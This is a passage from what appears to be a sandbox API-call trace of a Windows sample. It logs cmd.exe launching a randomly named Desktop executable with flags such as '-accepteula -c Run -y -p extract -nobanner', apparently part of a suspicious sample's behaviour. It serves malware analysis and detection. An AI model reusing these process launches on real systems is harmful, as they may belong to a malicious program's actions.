lpFilePart=0x31ebf4*="Desktop") returned 0x25 [0113.132] SetErrorMode (uMode=0x0) returned 0x1 [0113.132] GetProcessHeap () returned 0x6c0000 [0113.132] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4768, Size=0x6e) returned 0x6d4768 [0113.132] GetProcessHeap () returned 0x6c0000 [0113.133] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4768) returned 0x6e [0113.133] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0113.133] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0113.133] GetProcessHeap () returned 0x6c0000 [0113.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d47e0 [0113.133] GetProcessHeap () returned 0x6c0000 [0113.133] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6d4908 [0113.133] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.133] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x31e990, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31e990) returned 0x6d4ab8 [0113.133] FindClose (in: hFindFile=0x6d4ab8 | out: hFindFile=0x6d4ab8) returned 1 [0113.133] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0113.133] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0113.133] GetConsoleTitleW (in: lpConsoleTitle=0x31ee68, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.134] InitializeProcThreadAttributeList (in: lpAttributeList=0x31ecf0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31edb8 | out: lpAttributeList=0x31ecf0, lpSize=0x31edb8) returned 1 [0113.134] UpdateProcThreadAttribute (in: lpAttributeList=0x31ecf0, dwFlags=0x0, Attribute=0x60001, lpValue=0x31edb0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31ecf0, lpPreviousValue=0x0) returned 1 [0113.134] GetStartupInfoW (in: lpStartupInfo=0x31ecac | out: lpStartupInfo=0x31ecac*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0113.134] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0113.134] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x31ed4c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31ed98 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x31ed98*(hProcess=0x74, hThread=0x84, dwProcessId=0xf2c, dwThreadId=0xf30)) returned 1 [0113.144] CloseHandle (hObject=0x84) returned 1 [0113.144] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0113.144] GetProcessHeap () returned 0x6c0000 [0113.144] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d76e0 | out: hHeap=0x6c0000) returned 1 [0113.144] GetEnvironmentStringsW () returned 0x6d6b50* [0113.144] GetProcessHeap () returned 0x6c0000 [0113.144] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb88) returned 0x6d76e0 [0113.144] FreeEnvironmentStringsW (penv=0x6d6b50) returned 1 [0113.144] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0113.825] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x31ec8c | out: lpExitCode=0x31ec8c*=0x1) returned 1 [0113.825] CloseHandle (hObject=0x74) returned 1 [0113.826] _vsnwprintf (in: _Buffer=0x31edd4, _BufferCount=0x13, _Format="%08X", _ArgList=0x31ec98 | out: _Buffer="00000001") returned 8 [0113.826] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0113.826] GetProcessHeap () returned 0x6c0000 [0113.826] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d76e0 | out: hHeap=0x6c0000) returned 1 [0113.826] GetEnvironmentStringsW () returned 0x6d6b50* [0113.826] GetProcessHeap () returned 0x6c0000 [0113.826] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb88) returned 0x6d76e0 [0113.826] FreeEnvironmentStringsW (penv=0x6d6b50) returned 1 [0113.826] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0113.826] GetProcessHeap () returned 0x6c0000 [0113.826] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d76e0 | out: hHeap=0x6c0000) returned 1 [0113.826] GetEnvironmentStringsW () returned 0x6d6b50* [0113.826] GetProcessHeap () returned 0x6c0000 [0113.826] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb88) returned 0x6d76e0 [0113.826] FreeEnvironmentStringsW (penv=0x6d6b50) returned 1 [0113.826] GetProcessHeap () returned 0x6c0000 [0113.826] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0dd0 | out: hHeap=0x6c0000) returned 1 [0113.826] DeleteProcThreadAttributeList (in: lpAttributeList=0x31ecf0 | out: lpAttributeList=0x31ecf0) [0113.827] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.827] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0113.827] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.827] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0113.827] _get_osfhandle (_FileHandle=0) returned 0x3 [0113.827] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0113.827] SetConsoleInputExeNameW () returned 0x1 [0113.827] GetConsoleOutputCP () returned 0x1b5 [0113.828] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0113.828] SetThreadUILanguage (LangId=0x0) returned 0x409 [0113.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f6bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0113.828] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0113.829] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.829] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4a38 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4908 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d47e0 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4768 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d46e0 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d44c8 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4c10 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0de8 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4400 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0e00 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d43c8 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4368 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4338 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d42d8 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4278 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41f8 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41a0 | out: hHeap=0x6c0000) returned 1 [0113.829] GetProcessHeap () returned 0x6c0000 [0113.829] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1230 | out: hHeap=0x6c0000) returned 1 [0113.830] GetProcessHeap () returned 0x6c0000 [0113.830] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1270 | out: hHeap=0x6c0000) returned 1 [0113.830] GetProcessHeap () returned 0x6c0000 [0113.830] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c11d0 | out: hHeap=0x6c0000) returned 1 [0113.830] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.830] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0113.830] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f6a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f6a0*=0x0, lpOverlapped=0x0) returned 1 [0113.830] GetLastError () returned 0x0 [0113.830] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.830] GetFileType (hFile=0x74) returned 0x1 [0113.830] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.830] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0113.830] GetProcessHeap () returned 0x6c0000 [0113.830] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0113.830] GetProcessHeap () returned 0x6c0000 [0113.830] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0113.830] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.830] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0113.830] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f684, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f684*=0x0, lpOverlapped=0x0) returned 1 [0113.831] GetLastError () returned 0x0 [0113.831] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.831] GetFileType (hFile=0x74) returned 0x1 [0113.831] _get_osfhandle (_FileHandle=3) returned 0x74 [0113.831] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0113.831] GetProcessHeap () returned 0x6c0000 [0113.831] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0113.831] GetProcessHeap () returned 0x6c0000 [0113.831] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0113.831] longjmp () [0113.831] _tell (_FileHandle=3) returned 226 [0113.831] _close (_FileHandle=3) returned 0 [0113.831] CmdBatNotification () returned 0x1 [0113.831] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.831] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0113.831] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.831] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0113.832] _get_osfhandle (_FileHandle=0) returned 0x3 [0113.832] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0113.832] SetConsoleInputExeNameW () returned 0x1 [0113.832] GetConsoleOutputCP () returned 0x1b5 [0113.832] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0113.832] SetThreadUILanguage (LangId=0x0) returned 0x409 [0113.832] exit (_Code=1) Process: id = "200" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x68ce000" os_pid = "0xed4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 787 os_tid = 0xed8 Thread: id = 789 os_tid = 0xee4 Thread: id = 791 os_tid = 0xef0 Process: id = "201" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x24bf9000" os_pid = "0xedc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "188" os_parent_pid = "0xe4c" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 788 os_tid = 0xee0 [0108.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x35fccc | out: lpSystemTimeAsFileTime=0x35fccc*(dwLowDateTime=0xe41e2fc0, dwHighDateTime=0x1d5d06a)) [0108.497] GetCurrentProcessId () returned 0xedc [0108.497] GetCurrentThreadId () returned 0xee0 [0108.497] GetTickCount () returned 0x1162cbc [0108.497] QueryPerformanceCounter (in: lpPerformanceCount=0x35fcc4 | out: lpPerformanceCount=0x35fcc4*=25044907917) returned 1 [0108.497] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0108.497] __set_app_type (_Type=0x1) [0108.497] __p__fmode () returned 0x76be31f4 [0108.498] __p__commode () returned 0x76be31fc [0108.498] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0108.498] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0108.498] GetCurrentThreadId () returned 0xee0 [0108.498] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xee0) returned 0x60 [0108.498] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0108.498] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0108.498] SetThreadUILanguage (LangId=0x0) returned 0x409 [0108.499] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0108.499] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x35fc5c | out: phkResult=0x35fc5c*=0x0) returned 0x2 [0108.499] VirtualQuery (in: lpAddress=0x35fc93, lpBuffer=0x35fc2c, dwLength=0x1c | out: lpBuffer=0x35fc2c*(BaseAddress=0x35f000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0108.499] VirtualQuery (in: lpAddress=0x260000, lpBuffer=0x35fc2c, dwLength=0x1c | out: lpBuffer=0x35fc2c*(BaseAddress=0x260000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0108.499] VirtualQuery (in: lpAddress=0x261000, lpBuffer=0x35fc2c, dwLength=0x1c | out: lpBuffer=0x35fc2c*(BaseAddress=0x261000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0108.499] VirtualQuery (in: lpAddress=0x263000, lpBuffer=0x35fc2c, dwLength=0x1c | out: lpBuffer=0x35fc2c*(BaseAddress=0x263000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0108.499] VirtualQuery (in: lpAddress=0x360000, lpBuffer=0x35fc2c, dwLength=0x1c | out: lpBuffer=0x35fc2c*(BaseAddress=0x360000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0108.499] GetConsoleOutputCP () returned 0x1b5 [0108.499] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0108.499] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0108.499] _get_osfhandle (_FileHandle=1) returned 0x80 [0108.499] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0108.499] _get_osfhandle (_FileHandle=1) returned 0x80 [0108.500] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0108.500] _get_osfhandle (_FileHandle=0) returned 0x3 [0108.500] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0108.500] GetEnvironmentStringsW () returned 0x7b2270* [0108.500] GetProcessHeap () returned 0x7a0000 [0108.500] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xba8) returned 0x7b2e20 [0108.500] FreeEnvironmentStringsW (penv=0x7b2270) returned 1 [0108.500] GetProcessHeap () returned 0x7a0000 [0108.500] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7b1950 [0108.500] GetEnvironmentStringsW () returned 0x7b2270* [0108.500] GetProcessHeap () returned 0x7a0000 [0108.500] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xba8) returned 0x7b39d0 [0108.501] FreeEnvironmentStringsW (penv=0x7b2270) returned 1 [0108.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x35ebcc | out: phkResult=0x35ebcc*=0x68) returned 0x0 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x0, lpData=0x35ebd8*=0x0, lpcbData=0x35ebd0*=0x1000) returned 0x2 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x1, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x0, lpData=0x35ebd8*=0x1, lpcbData=0x35ebd0*=0x1000) returned 0x2 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x0, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x40, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x40, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.501] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x0, lpData=0x35ebd8*=0x40, lpcbData=0x35ebd0*=0x1000) returned 0x2 [0108.501] RegCloseKey (hKey=0x68) returned 0x0 [0108.501] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x35ebcc | out: phkResult=0x35ebcc*=0x68) returned 0x0 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x0, lpData=0x35ebd8*=0x40, lpcbData=0x35ebd0*=0x1000) returned 0x2 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x1, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x0, lpData=0x35ebd8*=0x1, lpcbData=0x35ebd0*=0x1000) returned 0x2 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x0, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x9, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x4, lpData=0x35ebd8*=0x9, lpcbData=0x35ebd0*=0x4) returned 0x0 [0108.502] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x35ebd4, lpData=0x35ebd8, lpcbData=0x35ebd0*=0x1000 | out: lpType=0x35ebd4*=0x0, lpData=0x35ebd8*=0x9, lpcbData=0x35ebd0*=0x1000) returned 0x2 [0108.502] RegCloseKey (hKey=0x68) returned 0x0 [0108.502] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710fe [0108.502] srand (_Seed=0x5e2710fe) [0108.502] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" [0108.502] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" [0108.502] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0108.503] GetProcessHeap () returned 0x7a0000 [0108.503] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x210) returned 0x7b4580 [0108.503] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7b4588, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0108.503] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0108.503] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0108.503] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0108.503] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0108.503] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") 